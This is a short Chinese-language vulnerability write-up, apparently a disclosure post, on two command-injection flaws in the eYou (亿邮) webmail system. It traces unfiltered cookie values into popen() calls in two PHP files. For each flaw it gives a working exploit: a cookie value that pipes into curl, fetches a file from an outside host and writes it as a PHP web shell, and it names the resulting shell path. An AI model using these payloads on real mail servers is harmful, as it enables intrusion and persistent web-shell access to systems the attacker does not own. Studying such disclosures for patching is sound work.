亿邮的使用量就不多说了,用户量非常可观啊
但是就是问题还很多,安全方面基本上还停留在在几年前的状态
虽然估计发布了新版本,但是用户还是使用问题较多的老版本较多。
第一处命令执行:
文件/user/autoComplete.php
直接从cookie中获取参数USER
然后赋值给uid和domain
然后看看函数readAddress($uid, $domain);
最后,uid和domain又进入了函数getUserDir($uid,$domain)
我们继续跟进getUserDir
最后uid和domain进入了popen
$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
这里的/var/eyou/sbin/hashid是亿邮系统执行命令的
此时,uid和domain没有经过任何过滤直接进入了命令,导致任意命令执行
漏洞利用:
设置cookie为:
UID=1|curl http://www.testfortest.com/test.txt>>testfortest.php
然后访问localhost/user/autoComplete.php即可
此时会在localhost/user/下生成testfortest.php
shell地址为:
localhost/user/testfortest.php

第二处命令执行:
文件/user/storage_explort.php
跟进getCookieUserValue函数:
跟进cookie函数:
整个过程没有对cookie 进行过滤
直接就爱那个cookie中USER的值取出来,然后进入了getUserDirPath函数
来看看getUserDirPath函数:
uid和domain直接进入了命令,导致命令执行。
漏洞利用:
将cookie设置为:
USER=UID=1|curl http://www.lqzjz.com.cn/test.txt>>testfortest1.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成testfortest1.php文件
shell地址为:
localhost/user/testfortest1.php
